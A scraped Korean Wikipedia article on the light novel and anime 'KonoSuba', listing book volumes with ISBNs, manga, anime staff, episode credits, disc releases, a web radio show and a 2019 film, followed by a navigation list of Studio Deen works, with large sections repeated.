시즌 오늘부터 마왕 R 쓰르라미 울 적에 시리즈 세계 제일의 첫사랑 ~오노데라 리츠의 경우~ 박앵귀 설화록 Hybrid Child 쇼와 겐로쿠 라쿠고 심중 히어로 컴퍼니 극장 애니메이션 시끌별 녀석들 3 리멤버 마이 러브 시끌별 녀석들 4 램 더 포에버 기동경찰 패트레이버 the Movie 체포하라 the MOVIE 극장판 육문천외 몬코레 나이트 ~전설의 파이어 드래곤~ 이니셜 D Third Stage Fate/stay night UNLIMITED BLADE WORKS 은막 헤타리아 Axis Powers Paint it, White (하얗게 칠하자!) 극장판 박앵귀 시리즈 극장판 세계 제일의 첫사랑 ~요코자와 타카후미의 경우~ 음악소녀 극장판 「메이지 도쿄 연가」 웹 애니메이션 헤타리아 Starry☆Sky 共 : 공동 제작 이 멋진 세계에 축복을! 홍전설에 관한 분류: 일본의 애니메이션 영화  |  2019년 애니메이션 영화   |  J.C.STAFF   |  일본의 판타지 영화   |  판타지 애니메이션 영화 원본 주소 "https://ko.wikipedia.org/w/index.php?title=이_멋진_세계에_축복을!&oldid=24228249" 분류: 진행 중인 작품소설가가 되자2013년 소설판타지 만화라이트 노벨의 애니메이션화 작품UHF 애니메이션2016년 애니메이션2017년 애니메이션판타지 애니메이션스튜디오 딘일본의 판타지 소설월간 드래곤 에이지가도카와 스니커 문고2014년 소설2016년 소설숨은 분류: 일본어 표기를 포함한 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 AzərbaycancaBrezhonegCatalàکوردیDeutschEnglishEspañolFrançaisBahasa IndonesiaItaliano日本語Bahasa MelayuPortuguêsРусскийไทยTagalogTürkçeTiếng Việt中文Bân-lâm-gú 링크 편집 이 문서는 2019년 5월 16일 (목) 00:02에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
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권수 타이틀 발매일 ISBN 1 ああ、駄女神さま 2013년 10월 1일 [[:ja:Special:BookSources/9784041010204|ISBN 978-4-04-101020-4]] 2 中二病でも魔女がしたい! 2013년 12월 1일 [[:ja:Special:BookSources/9784041011102|ISBN 978-4-04-101110-2]] 3 よんでますよ、ダクネスさん。 2014년 2월 28일 [[:ja:Special:BookSources/9784041012420|ISBN 978-4-04-101242-0]] 4 鈍ら四重奏〜ナマクラカルテット〜 2014년 4월 26일 [[:ja:Special:BookSources/9784041015704|ISBN 978-4-04-101570-4]] 5 爆裂紅魔にレッツ&ゴー!! 2014년 8월 30일 [[:ja:Special:BookSources/9784041015711|ISBN 978-4-04-101571-1]] 6 六花の王女 2015년 2월 28일 [[:ja:Special:BookSources/9784041022672|ISBN 978-4-04-102267-2]] 7 億千万の花嫁 2015년 9월 1일 [[:ja:Special:BookSources/9784041035399|ISBN 978-4-04-103539-9]] 8 アクシズ教団VSエリス教団 2016년 1월 1일 [[:ja:Special:BookSources/9784041035405|ISBN 978-4-04-103540-5]] 9 紅の宿命オリジナルアニメブルーレイ付き同梱版 2016년 6월 24일 [[:ja:Special:BookSources/9784041039533|ISBN 978-4-04-103953-3]] 紅の宿命 2016년 7월 1일 [[:ja:Special:BookSources/9784041039540|ISBN 978-4-04-103954-0]] 10 ギャンブル・スクランブル 2016년 11월 1일 [[:ja:Special:BookSources/9784041049921|ISBN 978-4-04-104992-1]] この素晴らしい世界に爆焰を! 권수 타이틀 발매일 ISBN 1 めぐみんのターン 2014년 7월 1일 [[:ja:Special:BookSources/9784041018668|ISBN 978-4-04-101866-8]] 2 ゆんゆんのターン 2014년 12월 1일 [[:ja:Special:BookSources/9784041024386|ISBN 978-4-04-102438-6]] 3 ふたりは最強!のターン 2015년 6월 1일 [[:ja:Special:BookSources/9784041031018|ISBN 978-4-04-103101-8]] (오리지널 드라마 CD 부록 동봉판) この仮面の悪魔に相談を! 권수 발매일 ISBN 1 2016년 4월 1일 [[:ja:Special:BookSources/9784041042930|ISBN 978-4-04-104293-9]] 또, 본편 소설의 부제 모두가 다른 애니메이션의 제목을 모방한 것으로 되어있다. 디앤씨미디어 이 멋진 세계에 축복을! 권수 타이틀 발매일 ISBN 1 오! 나의 잉여신님 2015년 9월 10일 ISBN 9788926799796 2 중2병이라도 마녀가 하고 싶어! 2015년 10월 10일 ISBN 9788926799963 3 부르잖아요, 다크니스 씨. 2016년 1월 10일 ISBN 9791186906262 4 나태 사중주 ~나태 콰르텟~ 2016년 1월 10일 ISBN 9791186906279 5 폭렬홍마 레츠&고!! 2016년 3월 10일 ISBN 9791186906484 6 육화의 왕녀 2016년 5월 10일 ISBN 9791159810398 7 억천만의 신부 2016년 8월 10일 ISBN 9791127805562 8 아쿠시즈 교단 VS 에리스 교단 2016년 10월 10일 ISBN 9791127824259 9 붉은 숙명 2017년 2월 10일 ISBN 9791127840341 이 멋진 세계에 폭염을! 권수 타이틀 발매일 ISBN 1 메구밍의 턴 2016년 2월 10일 ISBN 9791186906422 2 융융의 턴 2016년 4월 10일 ISBN 9791159810046 3 두 사람은 최강!의 턴 2016년 6월 10일 ISBN 9791159810756 이 가면 악마에게 상담을! 권수 타이틀 발매일 ISBN 1 이 가면 악마에게 상담을! 2017년 01월 10일 ISBN 9791127839765 만화[편집] この素晴らしい世界に祝福を! 권수 발매일 ISBN 초출 1 2015년 4월 9일 [[:ja:Special:BookSources/9784040705392|ISBN 978-4-04-070539-2]] 월간 드래곤 에이지 2014년 10월호 - 2015년 2월호 2 2015년 12월 5일 [[:ja:Special:BookSources/9784040707822|ISBN 978-4-04-070782-2]] 월간 드래곤 에이지 2015년 3월호 - 2015년 9월호 3 2016년 3월 9일 [[:ja:Special:BookSources/9784040708348|ISBN 978-4-04-070834-8]] 월간 드래곤 에이지 2015년 10월호 - 2016년 3월호 4 2016년 9월 9일 [[:ja:Special:BookSources/9784040720197|ISBN 978-4-04-072019-7]] 월간 드래곤 에이지 2016년 4월호 - 2016년 9월호 드라마 CD[편집] 권수 타이틀 발매일 1 この素晴らしい世界に爆焔を! この真夏の海に騒乱を! 2015년 3월 1일 텔레비전 애니메이션[편집] 제1기가 2016년 1월부터 3월까지, 제2기가 2017년 1월부터 3월까지 방영되었다. 스태프[편집] 원작 - 아카츠키 나츠메 원작 일러스트 - 미시마 쿠로네 감독 - 카나사키 타카오미(金崎貴臣) 조감독 - 요시다 슌지(吉田俊司) 시리즈 구성 - 우에즈 마코토(上江洲誠) 캐릭터 디자인 - 키쿠타 코이치(菊田幸一) 미술감독 - 미야케 마사카즈(三宅昌和) 미술설정 - 후지이 카즈시(藤井一志) 세트 디자인 - 아오키 토모유키(青木智由紀, 제6화부터) 색채설계 - 요시다 사오리(吉田沙織) 촬영감독 - 하마오 시게미츠(浜尾繁光) 3D 감독 - 이마가키 카나(今垣佳奈) 편집 - 키무라 카시코(木村佳史子) 음향감독 - 이와나미 요시카즈(岩浪美和) 음악 - 코다 마사토(甲田雅人) 음악 제작 - 일본 컬럼비아 음악 프로듀서 - 아나이 켄타로(穴井健太郎) 프로듀서 - 오구라 리에(小倉理絵) 애니메이션 프로듀서 - 우라사키 노부미츠(浦崎宣光) 애니메이션 제작 - 스튜디오 딘 제작 - 코노스바제작위원회 주제가[편집] 오프닝 테마 「fantastic dreamer」[1] 노래 - Machico 엔딩 테마 「ちいさな冒険者」(작은 모험자) 노래 - 아쿠아(아마미야 소라), 메구밍(타카하시 리에), 다크니스(카야노 아이) 각화 리스트[편집] 각화 부제는 「이 ○○에(게) ○○을(를)!」을 기본으로 구성되어, 오프닝 도중에 삽입된다. 화수 일본어 부제 번역 부제 각본 그림 콘티 연출 작화감독 총작화감독 원작 제1기 제1화 この自称女神と異世界転生を! 이 자칭여신과이세계 전생을! 우에즈 마코토(上江洲誠) 카나사키 타카오미(金崎貴臣) 요시다 슌지(吉田俊司) 키타무라 토모유키(北村友幸)우노이케 카즈마(鵜池一馬) 키쿠타 코우이치(菊田幸一) 제1권 제2화 この中二病に爆焔を! 이 중이병에게 폭염을! 아카시로 아오이(朱白あおい) 미요시 마사토(三好正人) 키노시타 유우키(木下ゆうき)시미즈 카츠스케(清水勝祐) 코마츠 모모카(小松桃花) 제3화 この右手にお宝を! 이 오른손에 보물를! 나카무라 코우지로(中村浩二郎) 사이토 테츠토(斉藤哲人) 카도타 히데히코(門田英彦) 후루스미 치아키(古住千秋)나카자와 유우이치(中澤勇一) 키쿠타 코우이치 제4화 この強敵に爆裂魔法を! 이 강적에게폭렬마법을! 우에즈 마코토 아란 보쿠세키(亜嵐墨石) 밥 시라하타(ボブ白旗) 사노 에리(さのえり)오오츠카 야에(大塚八愛)카토 마유코(加藤万由子)이토 토모코(伊藤智子)미나미 신이치로(南伸一郎)코레모토 아키라(是本晶)이토 사치(伊藤幸) 코마츠 모모카 제5화 この魔剣にお値段を! 이 마검에 가격을! 아카시로 아오이 카나사키 타카오미 스즈키 사토시(鈴木孝聡) 야마무라 토시노리(山村俊了)시미즈 카츠스케 키쿠타 코우이치 제6화 このろくでもない戦いに決着を! 이 쓸데 없는싸움에 결착을! 우에즈 마코토 사이토 테츠토 요시다 슌지 카라스이케 카즈마(鴉池一馬)나카자와 유우이치키노시타 유우키 코마츠 모모카 제7화 この凍えそうな季節に二度目の死を! 이 얼 것 같은 계절에두 번째 죽음을! 아카시로 아오이 이세 마사히로(伊勢昌弘) 미요시 마사토 키타무라 토모유키오카자키 히로미(岡崎洋美)혼다 미유키(本多みゆき) 키쿠타 코우이치 제2권 제8화 この冬を越せない俺達に愛の手を! 이 겨울을넘길 수 없는 우리에게사랑의 손길을! 나카무라 코우지로 카나사키 타카오미 카도타 히데히코 나카야마 유미(中山由美)이데노 요시노리(出野喜則)나카지마 요시코(中島美子) 코마츠 모모카 제9화 この素晴らしい店に祝福を! 이 멋진 상점에 축복을! 아카시로 아오이 아란 보쿠세키 쿠보 타로(久保太郎) 나카자와 유우이치키노시타 유우키시미즈 카츠스케 키쿠타 코우이치 제10화 この理不尽な要塞に終焔を! 이 불합리한요새에 종염을! 우에즈 마코토 사이토 테츠토 요시다 슌지 혼다 미유키후루스미 치아키야마무라 토시노리카라스이케 카즈마키타무라 토모유키나카야마 유미 코마츠 모모카 제11화(OVA) この素晴らしいチョーカーに祝福を! 이 멋진초커에 축복을! 아카시로 아오이 카나사키 타카오미 이와모토 야스오 요시다 코우스케(吉田巧介) 키쿠타 코우이치 - 제2기 BD / DVD[편집] 권 발매일 수록화 규격품번 BD 한정판 DVD 한정판 1 2016년 3월 25일 제1화 - 제2화 KAXA-7341 KABA-10450 2 2016년 4월 27일 제3화 - 제4화 KAXA-7342 KABA-10451 3 2016년 5월 27일 제5화 - 제6화 KAXA-7343 KABA-10452 4 2016년 6월 24일 제7화 - 제8화 KAXA-7344 KABA-10453 5 2016년 7월 29일 제9화 - 제10화 KAXA-7345 KABA-10454 웹 라디오[편집] 《이 멋진 라디오에 축복을!》(この素晴らしいラジオに祝福を!은 2016년 7월 5일부터 HiBiKi Radio Station에서 격주 화요일에 보내지는 라디오 방송이다.[2] 퍼스널리티는 카즈마 역의 후쿠시마 준과, 메구밍 역의 타카하시 리에가 맡았다. 극장 애니메이션[편집] 2019년에 《이 멋진 세계에 축복을! 홍전설》(この素晴らしい世界に祝福を!紅伝説)이란 타이틀로 공개 예정[3]. 출처[편집] ↑ konosubaanimeのツイート (652797287630897152) ↑ “この素晴らしいラジオに祝福を!”. 《HiBiKi Radio Station》. 2016년 6월 24일에 확인함.  ↑ “映画「この素晴らしい世界に祝福を!」公式サイト”. 2018년 11월 5일에 확인함.  외부 링크[편집] 위키미디어 공용에 관련된미디어 분류가 있습니다.이 멋진 세계에 축복을! 가도카와 스니커 문고 공식 사이트 이 멋진 세계에 폭염을! - 본작의 스핀오프. 카즈마의 환생 1년 전의 홍마의 마을이 무대. 요조한(四畳半)에서 보이는 달 - 필자의 블로그. 애니메이션 『이 멋진 세계에 축복을!』 공식 사이트 애니메이션 『이 멋진 세계에 축복을! 2』 공식 사이트 영화 『이 멋진 세계에 축복을! 홍전설』 공식 사이트 TV 애니메이션 『코노스바』 공식 트위터 - 트위터 후지미 쇼보|이 멋진 세계에 축복을! 【이 멋진 세계에 축복을!】 팬카페 vdeh스튜디오 딘TV 애니메이션 메종일각 F-에프 란마 ½ 슈퍼즈간 D・N・A²~어딘가에서 잃어버린 그 녀석의 그 녀석~共 곰의 푸타로 귀신동자 ZENKI 하멜른의 바이올린 연주 체포하라 EAT-MAN HAUNTED 정션 넥스트 전기 EHRGEIZ 버리지 않고 데이지 바람의 검심 -메이지 검객 낭만담-(제67화에서) 쉐도우 스킬 괴짜가족 모모이로 시스터즈 AWOL -Absent Without Leave- 에덴보이 선계전 봉신연의 일본 제일의 남자의 영혼 아빠와 춤추자 육문천외 몬코레 나이트 구라비테숀 파괴마 사다미츠 스타오션 EX 후르츠 바스켓 코코로 도서관 RAVE 달빛천사 왕도둑 JING SAMURAI DEEPER KYO GetBackers-탈환가게- 봄버맨 제타즈 MOUSE 마탐정 로키 RAGNAROK 어둠과 모자와 책의 여행자 유메리아 북으로. ~Diamond Dust Drops~ tactics 마리아님이 보고계셔 오늘부터 마왕 Get Ride! 암드라이버 지팡 우에키의 법칙 응석 말아요!! 지옥소녀 송곳니 전설 WEED 남쪽 섬의 작은 비행기 버디 Fate/stay night 빙쵸탄 쓰르라미 울 적에 simoun 프린세스 프린세스 소년 음양사 샤이닝 티어즈 크로스 윈드 도화월탄 CODE-E 멋진 탐정 라비린스 시온의 왕 파천황 유희 개그만화 보기 좋은 날(제3기부터) 뱀파이어 기사 아마츠키 순정 로맨티카 꿈을 이뤄주는 코끼리 07-GHOST 괭이갈매기 울 적에 학생회의 일존 동물 환경 회의 GIANT KILLING 박앵귀 누라리횬의 손자 이것은 좀비입니까? 드래곤 크라이시스! 세계 제일의 첫사랑 포요포요 관찰일기共 비색의 조각 산카레아 팔견전 -동방팔견이문- 로젠 메이든 의로운 바람 당당!! 카네쓰구와 케이지 메가네부! 사쿠라 Trick pupa 와시모 WASIMO 막부말Rock 메시마세 로도스도 전기 ~그거 맛있는?~共 로그 호라이즌 (시즌 2) 쥬얼펫 매지컬 체인지 쇼와 겐로쿠 라쿠고 심중 이 멋진 세계에 축복을! 영검산 시리즈 리루리루 페어리루: 요정의 도어 SUPER LOVERS 돈까스 DJ 아게타로 사카모토입니다만? 나메코~세계의 친구~ 첫사랑 몬스터 리루리루 페어리루: 마법의 거울 가르쳐줘 페어리루: 마법의 펜듈럼 BAKUMATSU OVA 천사의 달걀 트와이 라이트 Q 미궁건물 FILE538 기동경찰 패트레이버 체포하라 무책임 함장 테일러 쉐도우 스킬 시리즈 귀신 동자 ZENKI 외전 ~암귀 기담~ 초기동 전설 다이나기가 바람의 검심 시리즈 R.O.D -READ OR DIE- 마리아님이 보고계셔 3rd 시즌 오늘부터 마왕 R 쓰르라미 울 적에 시리즈 세계 제일의 첫사랑 ~오노데라 리츠의 경우~ 박앵귀 설화록 Hybrid Child 쇼와 겐로쿠 라쿠고 심중 히어로 컴퍼니 극장 애니메이션 시끌별 녀석들 3 리멤버 마이 러브 시끌별 녀석들 4 램 더 포에버 기동경찰 패트레이버 the Movie 체포하라 the MOVIE 극장판 육문천외 몬코레 나이트 ~전설의 파이어 드래곤~ 이니셜 D Third Stage Fate/stay night UNLIMITED BLADE WORKS 은막 헤타리아 Axis Powers Paint it, White (하얗게 칠하자!) 극장판 박앵귀 시리즈 극장판 세계 제일의 첫사랑 ~요코자와 타카후미의 경우~ 음악소녀 극장판 「메이지 도쿄 연가」 웹 애니메이션 헤타리아 Starry☆Sky 共 : 공동 제작 이 멋진 세계에 축복을! 홍전설에 관한 분류: 일본의 애니메이션 영화  |  2019년 애니메이션 영화   |  J.C.STAFF   |  일본의 판타지 영화   |  판타지 애니메이션 영화 원본 주소 "https://ko.wikipedia.org/w/index.php?title=이_멋진_세계에_축복을!&oldid=24228249" 분류: 진행 중인 작품소설가가 되자2013년 소설판타지 만화라이트 노벨의 애니메이션화 작품UHF 애니메이션2016년 애니메이션2017년 애니메이션판타지 애니메이션스튜디오 딘일본의 판타지 소설월간 드래곤 에이지가도카와 스니커 문고2014년 소설2016년 소설숨은 분류: 일본어 표기를 포함한 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 AzərbaycancaBrezhonegCatalàکوردیDeutschEnglishEspañolFrançaisBahasa IndonesiaItaliano日本語Bahasa MelayuPortuguêsРусскийไทยTagalogTürkçeTiếng Việt中文Bân-lâm-gú 링크 편집 이 문서는 2019년 5월 16일 (목) 00:02에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
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권수 타이틀 발매일 ISBN 1 ああ、駄女神さま 2013년 10월 1일 [[:ja:Special:BookSources/9784041010204|ISBN 978-4-04-101020-4]] 2 中二病でも魔女がしたい! 2013년 12월 1일 [[:ja:Special:BookSources/9784041011102|ISBN 978-4-04-101110-2]] 3 よんでますよ、ダクネスさん。 2014년 2월 28일 [[:ja:Special:BookSources/9784041012420|ISBN 978-4-04-101242-0]] 4 鈍ら四重奏〜ナマクラカルテット〜 2014년 4월 26일 [[:ja:Special:BookSources/9784041015704|ISBN 978-4-04-101570-4]] 5 爆裂紅魔にレッツ&ゴー!! 2014년 8월 30일 [[:ja:Special:BookSources/9784041015711|ISBN 978-4-04-101571-1]] 6 六花の王女 2015년 2월 28일 [[:ja:Special:BookSources/9784041022672|ISBN 978-4-04-102267-2]] 7 億千万の花嫁 2015년 9월 1일 [[:ja:Special:BookSources/9784041035399|ISBN 978-4-04-103539-9]] 8 アクシズ教団VSエリス教団 2016년 1월 1일 [[:ja:Special:BookSources/9784041035405|ISBN 978-4-04-103540-5]] 9 紅の宿命オリジナルアニメブルーレイ付き同梱版 2016년 6월 24일 [[:ja:Special:BookSources/9784041039533|ISBN 978-4-04-103953-3]] 紅の宿命 2016년 7월 1일 [[:ja:Special:BookSources/9784041039540|ISBN 978-4-04-103954-0]] 10 ギャンブル・スクランブル 2016년 11월 1일 [[:ja:Special:BookSources/9784041049921|ISBN 978-4-04-104992-1]] この素晴らしい世界に爆焰を! 권수 타이틀 발매일 ISBN 1 めぐみんのターン 2014년 7월 1일 [[:ja:Special:BookSources/9784041018668|ISBN 978-4-04-101866-8]] 2 ゆんゆんのターン 2014년 12월 1일 [[:ja:Special:BookSources/9784041024386|ISBN 978-4-04-102438-6]] 3 ふたりは最強!のターン 2015년 6월 1일 [[:ja:Special:BookSources/9784041031018|ISBN 978-4-04-103101-8]] (오리지널 드라마 CD 부록 동봉판) この仮面の悪魔に相談を! 권수 발매일 ISBN 1 2016년 4월 1일 [[:ja:Special:BookSources/9784041042930|ISBN 978-4-04-104293-9]] 또, 본편 소설의 부제 모두가 다른 애니메이션의 제목을 모방한 것으로 되어있다. 디앤씨미디어 이 멋진 세계에 축복을! 권수 타이틀 발매일 ISBN 1 오! 나의 잉여신님 2015년 9월 10일 ISBN 9788926799796 2 중2병이라도 마녀가 하고 싶어! 2015년 10월 10일 ISBN 9788926799963 3 부르잖아요, 다크니스 씨. 2016년 1월 10일 ISBN 9791186906262 4 나태 사중주 ~나태 콰르텟~ 2016년 1월 10일 ISBN 9791186906279 5 폭렬홍마 레츠&고!! 2016년 3월 10일 ISBN 9791186906484 6 육화의 왕녀 2016년 5월 10일 ISBN 9791159810398 7 억천만의 신부 2016년 8월 10일 ISBN 9791127805562 8 아쿠시즈 교단 VS 에리스 교단 2016년 10월 10일 ISBN 9791127824259 9 붉은 숙명 2017년 2월 10일 ISBN 9791127840341 이 멋진 세계에 폭염을! 권수 타이틀 발매일 ISBN 1 메구밍의 턴 2016년 2월 10일 ISBN 9791186906422 2 융융의 턴 2016년 4월 10일 ISBN 9791159810046 3 두 사람은 최강!의 턴 2016년 6월 10일 ISBN 9791159810756 이 가면 악마에게 상담을! 권수 타이틀 발매일 ISBN 1 이 가면 악마에게 상담을! 2017년 01월 10일 ISBN 9791127839765 만화[편집] この素晴らしい世界に祝福を! 권수 발매일 ISBN 초출 1 2015년 4월 9일 [[:ja:Special:BookSources/9784040705392|ISBN 978-4-04-070539-2]] 월간 드래곤 에이지 2014년 10월호 - 2015년 2월호 2 2015년 12월 5일 [[:ja:Special:BookSources/9784040707822|ISBN 978-4-04-070782-2]] 월간 드래곤 에이지 2015년 3월호 - 2015년 9월호 3 2016년 3월 9일 [[:ja:Special:BookSources/9784040708348|ISBN 978-4-04-070834-8]] 월간 드래곤 에이지 2015년 10월호 - 2016년 3월호 4 2016년 9월 9일 [[:ja:Special:BookSources/9784040720197|ISBN 978-4-04-072019-7]] 월간 드래곤 에이지 2016년 4월호 - 2016년 9월호 드라마 CD[편집] 권수 타이틀 발매일 1 この素晴らしい世界に爆焔を! この真夏の海に騒乱を! 2015년 3월 1일 텔레비전 애니메이션[편집] 제1기가 2016년 1월부터 3월까지, 제2기가 2017년 1월부터 3월까지 방영되었다. 스태프[편집] 원작 - 아카츠키 나츠메 원작 일러스트 - 미시마 쿠로네 감독 - 카나사키 타카오미(金崎貴臣) 조감독 - 요시다 슌지(吉田俊司) 시리즈 구성 - 우에즈 마코토(上江洲誠) 캐릭터 디자인 - 키쿠타 코이치(菊田幸一) 미술감독 - 미야케 마사카즈(三宅昌和) 미술설정 - 후지이 카즈시(藤井一志) 세트 디자인 - 아오키 토모유키(青木智由紀, 제6화부터) 색채설계 - 요시다 사오리(吉田沙織) 촬영감독 - 하마오 시게미츠(浜尾繁光) 3D 감독 - 이마가키 카나(今垣佳奈) 편집 - 키무라 카시코(木村佳史子) 음향감독 - 이와나미 요시카즈(岩浪美和) 음악 - 코다 마사토(甲田雅人) 음악 제작 - 일본 컬럼비아 음악 프로듀서 - 아나이 켄타로(穴井健太郎) 프로듀서 - 오구라 리에(小倉理絵) 애니메이션 프로듀서 - 우라사키 노부미츠(浦崎宣光) 애니메이션 제작 - 스튜디오 딘 제작 - 코노스바제작위원회 주제가[편집] 오프닝 테마 「fantastic dreamer」[1] 노래 - Machico 엔딩 테마 「ちいさな冒険者」(작은 모험자) 노래 - 아쿠아(아마미야 소라), 메구밍(타카하시 리에), 다크니스(카야노 아이) 각화 리스트[편집] 각화 부제는 「이 ○○에(게) ○○을(를)!」을 기본으로 구성되어, 오프닝 도중에 삽입된다. 화수 일본어 부제 번역 부제 각본 그림 콘티 연출 작화감독 총작화감독 원작 제1기 제1화 この自称女神と異世界転生を! 이 자칭여신과이세계 전생을! 우에즈 마코토(上江洲誠) 카나사키 타카오미(金崎貴臣) 요시다 슌지(吉田俊司) 키타무라 토모유키(北村友幸)우노이케 카즈마(鵜池一馬) 키쿠타 코우이치(菊田幸一) 제1권 제2화 この中二病に爆焔を! 이 중이병에게 폭염을! 아카시로 아오이(朱白あおい) 미요시 마사토(三好正人) 키노시타 유우키(木下ゆうき)시미즈 카츠스케(清水勝祐) 코마츠 모모카(小松桃花) 제3화 この右手にお宝を! 이 오른손에 보물를! 나카무라 코우지로(中村浩二郎) 사이토 테츠토(斉藤哲人) 카도타 히데히코(門田英彦) 후루스미 치아키(古住千秋)나카자와 유우이치(中澤勇一) 키쿠타 코우이치 제4화 この強敵に爆裂魔法を! 이 강적에게폭렬마법을! 우에즈 마코토 아란 보쿠세키(亜嵐墨石) 밥 시라하타(ボブ白旗) 사노 에리(さのえり)오오츠카 야에(大塚八愛)카토 마유코(加藤万由子)이토 토모코(伊藤智子)미나미 신이치로(南伸一郎)코레모토 아키라(是本晶)이토 사치(伊藤幸) 코마츠 모모카 제5화 この魔剣にお値段を! 이 마검에 가격을! 아카시로 아오이 카나사키 타카오미 스즈키 사토시(鈴木孝聡) 야마무라 토시노리(山村俊了)시미즈 카츠스케 키쿠타 코우이치 제6화 このろくでもない戦いに決着を! 이 쓸데 없는싸움에 결착을! 우에즈 마코토 사이토 테츠토 요시다 슌지 카라스이케 카즈마(鴉池一馬)나카자와 유우이치키노시타 유우키 코마츠 모모카 제7화 この凍えそうな季節に二度目の死を! 이 얼 것 같은 계절에두 번째 죽음을! 아카시로 아오이 이세 마사히로(伊勢昌弘) 미요시 마사토 키타무라 토모유키오카자키 히로미(岡崎洋美)혼다 미유키(本多みゆき) 키쿠타 코우이치 제2권 제8화 この冬を越せない俺達に愛の手を! 이 겨울을넘길 수 없는 우리에게사랑의 손길을! 나카무라 코우지로 카나사키 타카오미 카도타 히데히코 나카야마 유미(中山由美)이데노 요시노리(出野喜則)나카지마 요시코(中島美子) 코마츠 모모카 제9화 この素晴らしい店に祝福を! 이 멋진 상점에 축복을! 아카시로 아오이 아란 보쿠세키 쿠보 타로(久保太郎) 나카자와 유우이치키노시타 유우키시미즈 카츠스케 키쿠타 코우이치 제10화 この理不尽な要塞に終焔を! 이 불합리한요새에 종염을! 우에즈 마코토 사이토 테츠토 요시다 슌지 혼다 미유키후루스미 치아키야마무라 토시노리카라스이케 카즈마키타무라 토모유키나카야마 유미 코마츠 모모카 제11화(OVA) この素晴らしいチョーカーに祝福を! 이 멋진초커에 축복을! 아카시로 아오이 카나사키 타카오미 이와모토 야스오 요시다 코우스케(吉田巧介) 키쿠타 코우이치 - 제2기 BD / DVD[편집] 권 발매일 수록화 규격품번 BD 한정판 DVD 한정판 1 2016년 3월 25일 제1화 - 제2화 KAXA-7341 KABA-10450 2 2016년 4월 27일 제3화 - 제4화 KAXA-7342 KABA-10451 3 2016년 5월 27일 제5화 - 제6화 KAXA-7343 KABA-10452 4 2016년 6월 24일 제7화 - 제8화 KAXA-7344 KABA-10453 5 2016년 7월 29일 제9화 - 제10화 KAXA-7345 KABA-10454 웹 라디오[편집] 《이 멋진 라디오에 축복을!》(この素晴らしいラジオに祝福を!은 2016년 7월 5일부터 HiBiKi Radio Station에서 격주 화요일에 보내지는 라디오 방송이다.[2] 퍼스널리티는 카즈마 역의 후쿠시마 준과, 메구밍 역의 타카하시 리에가 맡았다. 극장 애니메이션[편집] 2019년에 《이 멋진 세계에 축복을! 홍전설》(この素晴らしい世界に祝福を!紅伝説)이란 타이틀로 공개 예정[3]. 출처[편집] ↑ konosubaanimeのツイート (652797287630897152) ↑ “この素晴らしいラジオに祝福を!”. 《HiBiKi Radio Station》. 2016년 6월 24일에 확인함.  ↑ “映画「この素晴らしい世界に祝福を!」公式サイト”. 2018년 11월 5일에 확인함.  외부 링크[편집] 위키미디어 공용에 관련된미디어 분류가 있습니다.이 멋진 세계에 축복을! 가도카와 스니커 문고 공식 사이트 이 멋진 세계에 폭염을! - 본작의 스핀오프. 카즈마의 환생 1년 전의 홍마의 마을이 무대. 요조한(四畳半)에서 보이는 달 - 필자의 블로그. 애니메이션 『이 멋진 세계에 축복을!』 공식 사이트 애니메이션 『이 멋진 세계에 축복을! 2』 공식 사이트 영화 『이 멋진 세계에 축복을! 홍전설』 공식 사이트 TV 애니메이션 『코노스바』 공식 트위터 - 트위터 후지미 쇼보|이 멋진 세계에 축복을! 【이 멋진 세계에 축복을!】 팬카페 vdeh스튜디오 딘TV 애니메이션 메종일각 F-에프 란마 ½ 슈퍼즈간 D・N・A²~어딘가에서 잃어버린 그 녀석의 그 녀석~共 곰의 푸타로 귀신동자 ZENKI 하멜른의 바이올린 연주 체포하라 EAT-MAN HAUNTED 정션 넥스트 전기 EHRGEIZ 버리지 않고 데이지 바람의 검심 -메이지 검객 낭만담-(제67화에서) 쉐도우 스킬 괴짜가족 모모이로 시스터즈 AWOL -Absent Without Leave- 에덴보이 선계전 봉신연의 일본 제일의 남자의 영혼 아빠와 춤추자 육문천외 몬코레 나이트 구라비테숀 파괴마 사다미츠 스타오션 EX 후르츠 바스켓 코코로 도서관 RAVE 달빛천사 왕도둑 JING SAMURAI DEEPER KYO GetBackers-탈환가게- 봄버맨 제타즈 MOUSE 마탐정 로키 RAGNAROK 어둠과 모자와 책의 여행자 유메리아 북으로. ~Diamond Dust Drops~ tactics 마리아님이 보고계셔 오늘부터 마왕 Get Ride! 암드라이버 지팡 우에키의 법칙 응석 말아요!! 지옥소녀 송곳니 전설 WEED 남쪽 섬의 작은 비행기 버디 Fate/stay night 빙쵸탄 쓰르라미 울 적에 simoun 프린세스 프린세스 소년 음양사 샤이닝 티어즈 크로스 윈드 도화월탄 CODE-E 멋진 탐정 라비린스 시온의 왕 파천황 유희 개그만화 보기 좋은 날(제3기부터) 뱀파이어 기사 아마츠키 